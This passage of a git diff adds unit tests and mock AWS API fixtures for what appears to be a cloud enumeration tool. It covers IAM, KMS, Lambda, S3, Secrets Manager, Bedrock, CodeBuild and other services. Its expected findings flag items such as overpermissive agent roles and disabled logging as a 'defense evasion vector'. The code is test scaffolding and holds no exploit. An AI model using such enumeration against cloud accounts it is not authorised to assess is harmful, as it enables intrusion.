clients: { iam: mockIam } }); + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: iam basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: iam basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { console.error(`Fatal: ${err.message}`); process.exit(1); }); diff --git a/test/enum-kms.test.js b/test/enum-kms.test.js new file mode 100644 index 0000000..06e66d7 --- /dev/null +++ b/test/enum-kms.test.js @@ -0,0 +1,67 @@ +#!/usr/bin/env node +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const os = require('os'); +const path = require('path'); + +const { run } = require('../scripts/enum/kms'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'kms'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-kms-test-')); + + try { + const mockKms = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { kms: mockKms }, + }); + + try { + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: kms enum output matches expected'); + passed++; + } catch (err) { + console.error(' FAIL: kms enum output mismatch'); + console.error(` ${err.message}`); + failed++; + } + } catch (err) { + console.error(' FAIL: run() threw an error'); + console.error(` ${err.message}`); + failed++; + } finally { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } +} + +runTests().then(() => { + console.log(`\n${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +}); diff --git a/test/enum-lambda.test.js b/test/enum-lambda.test.js new file mode 100644 index 0000000..93201aa --- /dev/null +++ b/test/enum-lambda.test.js @@ -0,0 +1,67 @@ +#!/usr/bin/env node +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const os = require('os'); +const path = require('path'); + +const { run } = require('../scripts/enum/lambda'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'lambda'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-lambda-test-')); + + try { + const mockLambda = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { lambda: mockLambda }, + }); + + try { + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: lambda enum output matches expected'); + passed++; + } catch (err) { + console.error(' FAIL: lambda enum output mismatch'); + console.error(` ${err.message}`); + failed++; + } + } catch (err) { + console.error(' FAIL: run() threw an error'); + console.error(` ${err.message}`); + failed++; + } finally { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } +} + +runTests().then(() => { + console.log(`\n${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +}); diff --git a/test/enum-rds.test.js b/test/enum-rds.test.js new file mode 100644 index 0000000..1d3f6b1 --- /dev/null +++ b/test/enum-rds.test.js @@ -0,0 +1,67 @@ +#!/usr/bin/env node +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const os = require('os'); +const path = require('path'); + +const { run } = require('../scripts/enum/rds'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'rds'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-rds-test-')); + + try { + const mockRds = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { rds: mockRds }, + }); + + try { + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: rds enum output matches expected'); + passed++; + } catch (err) { + console.error(' FAIL: rds enum output mismatch'); + console.error(` ${err.message}`); + failed++; + } + } catch (err) { + console.error(' FAIL: run() threw an error'); + console.error(` ${err.message}`); + failed++; + } finally { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } +} + +runTests().then(() => { + console.log(`\n${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +}); diff --git a/test/enum-s3.test.js b/test/enum-s3.test.js new file mode 100644 index 0000000..1c4a405 --- /dev/null +++ b/test/enum-s3.test.js @@ -0,0 +1,67 @@ +#!/usr/bin/env node +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const os = require('os'); +const path = require('path'); + +const { run } = require('../scripts/enum/s3'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 's3'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-s3-test-')); + + try { + const mockS3 = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { s3: mockS3 }, + }); + + try { + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: s3 enum output matches expected'); + passed++; + } catch (err) { + console.error(' FAIL: s3 enum output mismatch'); + console.error(` ${err.message}`); + failed++; + } + } catch (err) { + console.error(' FAIL: run() threw an error'); + console.error(` ${err.message}`); + failed++; + } finally { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } +} + +runTests().then(() => { + console.log(`\n${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +}); diff --git a/test/enum-secrets.test.js b/test/enum-secrets.test.js new file mode 100644 index 0000000..31bb8e2 --- /dev/null +++ b/test/enum-secrets.test.js @@ -0,0 +1,67 @@ +#!/usr/bin/env node +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const os = require('os'); +const path = require('path'); + +const { run } = require('../scripts/enum/secrets'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'secrets'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-secrets-test-')); + + try { + const mockSecrets = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { secrets: mockSecrets }, + }); + + try { + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: secrets enum output matches expected'); + passed++; + } catch (err) { + console.error(' FAIL: secrets enum output mismatch'); + console.error(` ${err.message}`); + failed++; + } + } catch (err) { + console.error(' FAIL: run() threw an error'); + console.error(` ${err.message}`); + failed++; + } finally { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } +} + +runTests().then(() => { + console.log(`\n${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +}); diff --git a/test/enum-sns.test.js b/test/enum-sns.test.js new file mode 100644 index 0000000..6231723 --- /dev/null +++ b/test/enum-sns.test.js @@ -0,0 +1,64 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/sns'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'sns'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0, failed = 0; + +async function runTests() { + // --- Test: sns basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-sns-')); + + const mockSns = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { sns: mockSns } + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: sns basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: sns basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-sqs.test.js b/test/enum-sqs.test.js new file mode 100644 index 0000000..c9f3e5e --- /dev/null +++ b/test/enum-sqs.test.js @@ -0,0 +1,64 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/sqs'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'sqs'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0, failed = 0; + +async function runTests() { + // --- Test: sqs basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-sqs-')); + + const mockSqs = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { sqs: mockSqs } + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: sqs basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: sqs basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-ssm.test.js b/test/enum-ssm.test.js new file mode 100644 index 0000000..2cff75d --- /dev/null +++ b/test/enum-ssm.test.js @@ -0,0 +1,68 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/ssm'); +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'ssm'); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); + const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + + // --- Test: basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-ssm-')); + + const mockSsm = makeMockClient({ + DescribeParametersCommand: apiResponses['DescribeParametersCommand'], + GetResourcePolicyCommand: apiResponses['GetResourcePolicyCommand'], + }); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { ssm: mockSsm }, + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: ssm basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: ssm basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-sts.test.js b/test/enum-sts.test.js new file mode 100644 index 0000000..0e1036d --- /dev/null +++ b/test/enum-sts.test.js @@ -0,0 +1,59 @@ +'use strict'; +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/sts'); +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'sts'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = Array.isArray(responses[name]) + ? responses[name][callCounts[name] - 1] ?? responses[name][responses[name].length - 1] + : responses[name]; + if (val !== undefined) { + if (val && val._error) { + const err = new Error(val.message || 'Mock error'); + err.name = val.name || 'Error'; + return Promise.reject(err); + } + return Promise.resolve(val); + } + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + // Test: STS identity with org access denied (partial status) + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-sts-')); + const mockSts = makeMockClient(apiResponses); + const mockOrg = makeMockClient(apiResponses); + const result = await run({ runDir: tmpDir, clients: { sts: mockSts, organizations: mockOrg } }); + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: sts identity with org access denied'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: sts identity with org access denied'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { console.error(`Fatal: ${err.message}`); process.exit(1); }); diff --git a/test/extract-graph.test.js b/test/extract-graph.test.js new file mode 100644 index 0000000..4de9f09 --- /dev/null +++ b/test/extract-graph.test.js @@ -0,0 +1,69 @@ +#!/usr/bin/env node +'use strict'; + +const { execSync } = require('child_process'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); + +const SCRIPT = path.join(__dirname, '..', 'bin', 'extract-graph.js'); +const FIXTURES = path.join(__dirname, 'fixtures', 'extract-graph'); + +// Get all scenario directories +const scenarios = fs.readdirSync(FIXTURES).filter(d => + fs.statSync(path.join(FIXTURES, d)).isDirectory() +); + +let passed = 0; +let failed = 0; + +for (const scenario of scenarios) { + const scenarioDir = path.join(FIXTURES, scenario); + const expectedFile = path.join(scenarioDir, 'expected.json'); + const expected = JSON.parse(fs.readFileSync(expectedFile, 'utf-8')); + + try { + const stdout = execSync(`node "${SCRIPT}" "${scenarioDir}"`, { encoding: 'utf-8' }); + const actual = JSON.parse(stdout); + assert.deepStrictEqual(actual, expected); + console.log(` PASS: ${scenario}`); + passed++; + } catch (err) { + console.error(` FAIL: ${scenario}`); + console.error(` ${err.message}`); + failed++; + } +} + +// Test: no args = exit 1 +try { + execSync(`node "${SCRIPT}"`, { encoding: 'utf-8', stdio: 'pipe' }); + console.error(' FAIL: no-args (expected exit 1, got exit 0)'); + failed++; +} catch (err) { + if (err.status === 1) { + console.log(' PASS: no-args exits 1'); + passed++; + } else { + console.error(` FAIL: no-args (expected exit 1, got exit ${err.status})`); + failed++; + } +} + +// Test: nonexistent dir = exit 1 +try { + execSync(`node "${SCRIPT}" "/nonexistent/path"`, { encoding: 'utf-8', stdio: 'pipe' }); + console.error(' FAIL: bad-dir (expected exit 1, got exit 0)'); + failed++; +} catch (err) { + if (err.status === 1) { + console.log(' PASS: bad-dir exits 1'); + passed++; + } else { + console.error(` FAIL: bad-dir (expected exit 1, got exit ${err.status})`); + failed++; + } +} + +console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); +process.exit(failed > 0 ? 1 : 0); diff --git a/test/fixtures/enum/apigateway/api-responses.json b/test/fixtures/enum/apigateway/api-responses.json new file mode 100644 index 0000000..259e36d --- /dev/null +++ b/test/fixtures/enum/apigateway/api-responses.json @@ -0,0 +1,70 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "GetRestApisCommand": { + "items": [ + { + "id": "abc123def4", + "name": "TestRestApi", + "description": "Test REST API", + "createdDate": "2024-01-01T00:00:00Z", + "apiKeySource": "HEADER", + "endpointConfiguration": { "types": ["REGIONAL"] } + } + ] + }, + "GetAuthorizersCommand": { + "items": [ + { + "id": "auth1", + "name": "CognitoAuthorizer", + "type": "COGNITO_USER_POOLS" + } + ] + }, + "GetStagesCommand": { + "item": [ + { "stageName": "prod" }, + { "stageName": "dev" } + ] + }, + "GetResourcesCommand": { + "items": [ + { + "id": "res1", + "path": "/", + "resourceMethods": {} + } + ] + }, + "GetApisCommand": { + "Items": [ + { + "ApiId": "zyxwvuts12", + "Name": "TestHttpApi", + "ProtocolType": "HTTP", + "CreatedDate": "2024-01-01T00:00:00Z" + } + ] + }, + "GetAuthorizersV2Command": { + "Items": [] + }, + "GetStagesV2Command": { + "Items": [ + { "StageName": "$default" } + ] + }, + "GetIntegrationsCommand": { + "Items": [ + { + "IntegrationId": "int1", + "IntegrationType": "AWS_PROXY", + "IntegrationUri": "arn:aws:lambda:us-east-1:123456789012:function:TestFunction" + } + ] + } +} diff --git a/test/fixtures/enum/apigateway/expected.json b/test/fixtures/enum/apigateway/expected.json new file mode 100644 index 0000000..c4f8b90 --- /dev/null +++ b/test/fixtures/enum/apigateway/expected.json @@ -0,0 +1,41 @@ +{ + "module": "apigateway", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "apigateway_rest_api", + "resource_id": "abc123def4", + "arn": "arn:aws:apigateway:us-east-1::/restapis/abc123def4", + "region": "us-east-1", + "name": "TestRestApi", + "api_type": "REST", + "authorizers": [ + { + "type": "COGNITO_USER_POOLS", + "name": "CognitoAuthorizer" + } + ], + "stages": ["prod", "dev"], + "lambda_integrations": [], + "resource_policy": null, + "findings": [] + }, + { + "resource_type": "apigateway_http_api", + "resource_id": "zyxwvuts12", + "arn": "arn:aws:apigateway:us-east-1::/apis/zyxwvuts12", + "region": "us-east-1", + "name": "TestHttpApi", + "api_type": "HTTP", + "authorizers": [], + "stages": ["$default"], + "lambda_integrations": [ + "arn:aws:lambda:us-east-1:123456789012:function:TestFunction" + ], + "resource_policy": null, + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/bedrock/api-responses.json b/test/fixtures/enum/bedrock/api-responses.json new file mode 100644 index 0000000..63253c0 --- /dev/null +++ b/test/fixtures/enum/bedrock/api-responses.json @@ -0,0 +1,81 @@ +{ + "ListFoundationModelsCommand": { + "modelSummaries": [ + { + "modelId": "anthropic.claude-3-sonnet-20240229-v1:0", + "modelName": "Claude 3 Sonnet", + "providerName": "Anthropic", + "modelArn": "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-3-sonnet-20240229-v1:0", + "inputModalities": ["TEXT"], + "outputModalities": ["TEXT"], + "customizationsSupported": [], + "inferenceTypesSupported": ["ON_DEMAND"] + } + ] + }, + "ListCustomModelsCommand": { + "modelSummaries": [ + { + "modelName": "my-custom-model", + "modelArn": "arn:aws:bedrock:us-east-1:123456789012:custom-model/my-custom-model", + "baseModelArn": "arn:aws:bedrock:us-east-1::foundation-model/amazon.titan-text-express-v1", + "creationTime": "2024-01-15T00:00:00Z" + } + ] + }, + "ListAgentsCommand": { + "agentSummaries": [ + { + "agentId": "agent-abc123", + "agentName": "TestAgent", + "agentStatus": "PREPARED" + } + ] + }, + "GetAgentCommand": { + "agent": { + "agentId": "agent-abc123", + "agentName": "TestAgent", + "agentArn": "arn:aws:bedrock:us-east-1:123456789012:agent/agent-abc123", + "agentStatus": "PREPARED", + "agentResourceRoleArn": "arn:aws:iam::123456789012:role/AmazonBedrockExecutionRoleForAgents_test", + "foundationModel": "anthropic.claude-3-sonnet-20240229-v1:0", + "description": "Test agent", + "createdAt": "2024-01-01T00:00:00Z", + "updatedAt": "2024-01-15T00:00:00Z" + } + }, + "ListKnowledgeBasesCommand": { + "knowledgeBaseSummaries": [ + { + "knowledgeBaseId": "kb-xyz789", + "name": "TestKnowledgeBase", + "status": "ACTIVE" + } + ] + }, + "GetKnowledgeBaseCommand": { + "knowledgeBase": { + "knowledgeBaseId": "kb-xyz789", + "name": "TestKnowledgeBase", + "knowledgeBaseArn": "arn:aws:bedrock:us-east-1:123456789012:knowledge-base/kb-xyz789", + "status": "ACTIVE", + "roleArn": "arn:aws:iam::123456789012:role/AmazonBedrockExecutionRoleForKnowledgeBase_test", + "storageConfiguration": { + "type": "OPENSEARCH_SERVERLESS" + }, + "description": "Test knowledge base", + "createdAt": "2024-01-01T00:00:00Z", + "updatedAt": "2024-01-15T00:00:00Z" + } + }, + "ListGuardrailsCommand": { + "guardrails": [] + }, + "GetModelInvocationLoggingConfigurationCommand": { + "loggingConfig": null + }, + "ListProvisionedModelThroughputsCommand": { + "provisionedModelSummaries": [] + } +} diff --git a/test/fixtures/enum/bedrock/expected.json b/test/fixtures/enum/bedrock/expected.json new file mode 100644 index 0000000..3f4ac15 --- /dev/null +++ b/test/fixtures/enum/bedrock/expected.json @@ -0,0 +1,75 @@ +{ + "module": "bedrock", + "account_id": "unknown", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "bedrock_model", + "resource_id": "anthropic.claude-3-sonnet-20240229-v1:0", + "arn": "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-3-sonnet-20240229-v1:0", + "region": "us-east-1", + "model_name": "Claude 3 Sonnet", + "provider": "Anthropic", + "model_arn": "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-3-sonnet-20240229-v1:0", + "input_modalities": ["TEXT"], + "output_modalities": ["TEXT"], + "customizations_supported": [], + "inference_types": ["ON_DEMAND"], + "findings": [] + }, + { + "resource_type": "bedrock_custom_model", + "resource_id": "my-custom-model", + "arn": "arn:aws:bedrock:us-east-1:123456789012:custom-model/my-custom-model", + "region": "us-east-1", + "model_name": "my-custom-model", + "model_arn": "arn:aws:bedrock:us-east-1:123456789012:custom-model/my-custom-model", + "base_model_arn": "arn:aws:bedrock:us-east-1::foundation-model/amazon.titan-text-express-v1", + "creation_time": "2024-01-15T00:00:00Z", + "findings": [{ "type": "training_data_exposure", "severity": "medium", "detail": "Custom model — training data exposure risk" }] + }, + { + "resource_type": "bedrock_agent", + "resource_id": "TestAgent", + "arn": "arn:aws:bedrock:us-east-1:123456789012:agent/agent-abc123", + "region": "us-east-1", + "agent_id": "agent-abc123", + "agent_arn": "arn:aws:bedrock:us-east-1:123456789012:agent/agent-abc123", + "status": "PREPARED", + "execution_role_arn": "arn:aws:iam::123456789012:role/AmazonBedrockExecutionRoleForAgents_test", + "foundation_model": "anthropic.claude-3-sonnet-20240229-v1:0", + "description": "Test agent", + "created_at": "2024-01-01T00:00:00Z", + "updated_at": "2024-01-15T00:00:00Z", + "findings": [{ "type": "overpermissive_role", "severity": "high", "detail": "Agent execution role — IAM attack surface (often overpermissive)" }] + }, + { + "resource_type": "bedrock_knowledge_base", + "resource_id": "TestKnowledgeBase", + "arn": "arn:aws:bedrock:us-east-1:123456789012:knowledge-base/kb-xyz789", + "region": "us-east-1", + "knowledge_base_id": "kb-xyz789", + "knowledge_base_arn": "arn:aws:bedrock:us-east-1:123456789012:knowledge-base/kb-xyz789", + "status": "ACTIVE", + "role_arn": "arn:aws:iam::123456789012:role/AmazonBedrockExecutionRoleForKnowledgeBase_test", + "storage_type": "OPENSEARCH_SERVERLESS", + "storage_configuration": { + "type": "OPENSEARCH_SERVERLESS" + }, + "description": "Test knowledge base", + "created_at": "2024-01-01T00:00:00Z", + "updated_at": "2024-01-15T00:00:00Z", + "findings": [{ "type": "data_access_mapping", "severity": "medium", "detail": "Knowledge base data source — data access mapping" }] + }, + { + "resource_type": "bedrock_logging", + "resource_id": "invocation_logging", + "arn": "arn:aws:bedrock:us-east-1:unknown:logging/invocation_logging", + "region": "us-east-1", + "logging_enabled": false, + "logging_config": null, + "findings": [{ "type": "logging_disabled", "severity": "high", "detail": "Bedrock model invocation logging DISABLED — defense evasion vector (no evidence of queries)" }] + } + ] +} diff --git a/test/fixtures/enum/codebuild/api-responses.json b/test/fixtures/enum/codebuild/api-responses.json new file mode 100644 index 0000000..3a22391 --- /dev/null +++ b/test/fixtures/enum/codebuild/api-responses.json @@ -0,0 +1,37 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "ListProjectsCommand": { + "projects": ["test-project"] + }, + "BatchGetProjectsCommand": { + "projects": [ + { + "name": "test-project", + "arn": "arn:aws:codebuild:us-east-1:123456789012:project/test-project", + "serviceRole": "arn:aws:iam::123456789012:role/CodeBuildRole", + "source": { + "type": "GITHUB", + "location": "https://github.com/example/repo", + "buildspec": null + }, + "environment": { + "type": "LINUX_CONTAINER", + "image": "aws/codebuild/standard:5.0", + "computeType": "BUILD_GENERAL1_SMALL", + "privilegedMode": false, + "environmentVariables": [ + { "name": "REGION", "value": "us-east-1" } + ] + }, + "vpcConfig": null, + "encryptionKey": "arn:aws:kms:us-east-1:123456789012:alias/aws/s3", + "lastModified": null + } + ], + "projectsNotFound": [] + } +} diff --git a/test/fixtures/enum/codebuild/expected.json b/test/fixtures/enum/codebuild/expected.json new file mode 100644 index 0000000..14b13cd --- /dev/null +++ b/test/fixtures/enum/codebuild/expected.json @@ -0,0 +1,34 @@ +{ + "module": "codebuild", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "codebuild_project", + "resource_id": "test-project", + "arn": "arn:aws:codebuild:us-east-1:123456789012:project/test-project", + "region": "us-east-1", + "service_role": "arn:aws:iam::123456789012:role/CodeBuildRole", + "source_type": "GITHUB", + "source_location": "https://github.com/example/repo", + "source_buildspec": false, + "environment_type": "LINUX_CONTAINER", + "environment_image": "aws/codebuild/standard:5.0", + "environment_compute_type": "BUILD_GENERAL1_SMALL", + "privileged_mode": false, + "vpc_config": null, + "env_var_names": ["REGION"], + "secret_pattern_names": [], + "encryption_key": "arn:aws:kms:us-east-1:123456789012:alias/aws/s3", + "last_modified": null, + "findings": [ + { + "type": "no_vpc", + "severity": "info", + "detail": "Project builds do not run inside a VPC" + } + ] + } + ] +} diff --git a/test/fixtures/enum/cognito/api-responses.json b/test/fixtures/enum/cognito/api-responses.json new file mode 100644 index 0000000..286e7e1 